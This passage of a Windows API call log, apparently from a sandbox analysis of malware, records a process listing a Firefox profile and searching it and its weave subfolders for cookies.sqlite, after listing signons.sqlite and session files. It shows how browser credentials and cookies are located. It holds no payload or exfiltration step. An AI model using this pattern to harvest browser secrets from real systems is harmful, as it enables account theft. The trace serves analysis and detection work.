WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.636] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ed183c0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x3ed183c0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xf4500380, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="permissions.sqlite", cAlternateFileName="PERMIS~1.SQL")) returned 1 [0110.636] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.637] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f357d80, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x3f357d80, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xa01f3180, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0xa00000, dwReserved0=0x0, dwReserved1=0x0, cFileName="places.sqlite", cAlternateFileName="PLACES~1.SQL")) returned 1 [0110.637] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.637] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe18b23f0, ftCreationTime.dwHighDateTime=0x1d51ed4, ftLastAccessTime.dwLowDateTime=0xe18b23f0, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xe18b23f0, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="places.sqlite-shm", cAlternateFileName="PLACES~3.SQL")) returned 1 [0110.637] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.637] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe18b23f0, ftCreationTime.dwHighDateTime=0x1d51ed4, ftLastAccessTime.dwLowDateTime=0xe18b23f0, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xe18b23f0, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="places.sqlite-wal", cAlternateFileName="PLACES~2.SQL")) returned 1 [0110.637] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.637] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9f469460, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0x9f469460, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0x9f469460, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0xc91, dwReserved0=0x0, dwReserved1=0x0, cFileName="pluginreg.dat", cAlternateFileName="PLUGIN~1.DAT")) returned 1 [0110.637] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.637] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf3052460, ftCreationTime.dwHighDateTime=0x1d30616, ftLastAccessTime.dwLowDateTime=0xf441bb40, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0x2374e4c0, ftLastWriteTime.dwHighDateTime=0x1d4d5f8, nFileSizeHigh=0x0, nFileSizeLow=0x1540, dwReserved0=0x0, dwReserved1=0x0, cFileName="prefs.js", cAlternateFileName="")) returned 1 [0110.637] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.637] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x419ba040, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x419ba040, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x419ba040, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x4183, dwReserved0=0x0, dwReserved1=0x0, cFileName="search.json", cAlternateFileName="SEARCH~1.JSO")) returned 1 [0110.637] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.637] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ef9fb20, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x3ef9fb20, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x3f084360, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="secmod.db", cAlternateFileName="")) returned 1 [0110.637] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.637] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb120e460, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb120e460, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb120e460, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0xbba, dwReserved0=0x0, dwReserved1=0x0, cFileName="sessionstore.bak", cAlternateFileName="SESSIO~1.BAK")) returned 1 [0110.637] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.637] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb120e460, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xf3241640, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xf3241640, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x23c, dwReserved0=0x0, dwReserved1=0x0, cFileName="sessionstore.js", cAlternateFileName="SESSIO~1.JS")) returned 1 [0110.637] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.637] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40f29ea0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x40f29ea0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x41947c20, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x50000, dwReserved0=0x0, dwReserved1=0x0, cFileName="signons.sqlite", cAlternateFileName="SIGNON~1.SQL")) returned 1 [0110.637] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.637] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cfa0c70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x3cfa0c70, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x3cfa0c70, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="times.json", cAlternateFileName="TIMES~1.JSO")) returned 1 [0110.637] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.637] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x422cd420, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x422cd420, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xe95b6a40, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="urlclassifierkey3.txt", cAlternateFileName="URLCLA~1.TXT")) returned 1 [0110.637] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.637] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x44eb09c0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x44eb09c0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x44eb09c0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="weave", cAlternateFileName="")) returned 1 [0110.637] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.637] lstrlenW (lpString="weave") returned 5 [0110.637] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default", pszFile="weave" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave" [0110.638] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a6e220 [0110.638] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x52 [0110.638] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xa4) returned 0x9a6e480 [0110.638] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave", lpDst=0x9a6e480, nSize=0x52 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave") returned 0x52 [0110.638] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave") returned 81 [0110.638] lstrlenW (lpString="cookies.sqlite") returned 14 [0110.638] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e530 [0110.638] PathCombineW (in: pszDest=0x9a6e530, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave", pszFile="cookies.sqlite" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\cookies.sqlite") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\cookies.sqlite" [0110.638] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\cookies.sqlite", lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0110.638] PathCombineW (in: pszDest=0x9a6e530, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\*" [0110.638] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\*", lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x44eb09c0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x44eb09c0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x44eb09c0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4466580 [0110.638] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x44eb09c0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x44eb09c0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x44eb09c0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.638] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.638] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x44eb09c0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x44eb09c0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x44eb09c0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="changes", cAlternateFileName="")) returned 1 [0110.638] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.638] lstrlenW (lpString="changes") returned 7 [0110.638] PathCombineW (in: pszDest=0x9a6e530, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave", pszFile="changes" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\changes") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\changes" [0110.638] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a91840 [0110.638] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\changes", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x5a [0110.638] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb4) returned 0x9a91aa0 [0110.638] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\changes", lpDst=0x9a91aa0, nSize=0x5a | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\changes") returned 0x5a [0110.638] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\changes") returned 89 [0110.638] lstrlenW (lpString="cookies.sqlite") returned 14 [0110.638] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a91b60 [0110.638] PathCombineW (in: pszDest=0x9a91b60, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\changes", pszFile="cookies.sqlite" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\changes\\cookies.sqlite") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\changes\\cookies.sqlite" [0110.638] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\changes\\cookies.sqlite", lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0110.639] PathCombineW (in: pszDest=0x9a91b60, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\changes", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\changes\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\changes\\*" [0110.639] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\changes\\*", lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x44eb09c0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x44eb09c0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x44eb09c0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0110.639] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x44eb09c0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x44eb09c0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x44eb09c0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.639] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.639] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x44eb09c0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x44eb09c0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x44eb09c0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0110.639] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0110.639] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91b60 | out: hHeap=0x9770000) returned 1 [0110.639] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91aa0 | out: hHeap=0x9770000) returned 1 [0110.639] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91840 | out: hHeap=0x9770000) returned 1 [0110.639] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x44eb09c0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x44eb09c0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x44eb09c0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="failed", cAlternateFileName="")) returned 1 [0110.639] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.639] lstrlenW (lpString="failed") returned 6 [0110.639] PathCombineW (in: pszDest=0x9a6e530, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave", pszFile="failed" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\failed") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\failed" [0110.639] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a91840 [0110.639] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\failed", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x59 [0110.639] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb2) returned 0x9a91aa0 [0110.639] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\failed", lpDst=0x9a91aa0, nSize=0x59 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\failed") returned 0x59 [0110.639] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\failed") returned 88 [0110.639] lstrlenW (lpString="cookies.sqlite") returned 14 [0110.639] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a91b60 [0110.639] PathCombineW (in: pszDest=0x9a91b60, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\failed", pszFile="cookies.sqlite" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\failed\\cookies.sqlite") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\failed\\cookies.sqlite" [0110.639] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\failed\\cookies.sqlite", lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0110.640] PathCombineW (in: pszDest=0x9a91b60, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\failed", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\failed\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\failed\\*" [0110.640] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\failed\\*", lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x44eb09c0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x44eb09c0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x44eb09c0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0110.640] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x44eb09c0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x44eb09c0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x44eb09c0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.640] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.640] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x44eb09c0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x44eb09c0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x44eb09c0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0110.640] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0110.640] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91b60 | out: hHeap=0x9770000) returned 1 [0110.640] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91aa0 | out: hHeap=0x9770000) returned 1 [0110.640] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91840 | out: hHeap=0x9770000) returned 1 [0110.640] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x44eb09c0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x44eb09c0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x44eb09c0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="toFetch", cAlternateFileName="")) returned 1 [0110.640] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.640] lstrlenW (lpString="toFetch") returned 7 [0110.640] PathCombineW (in: 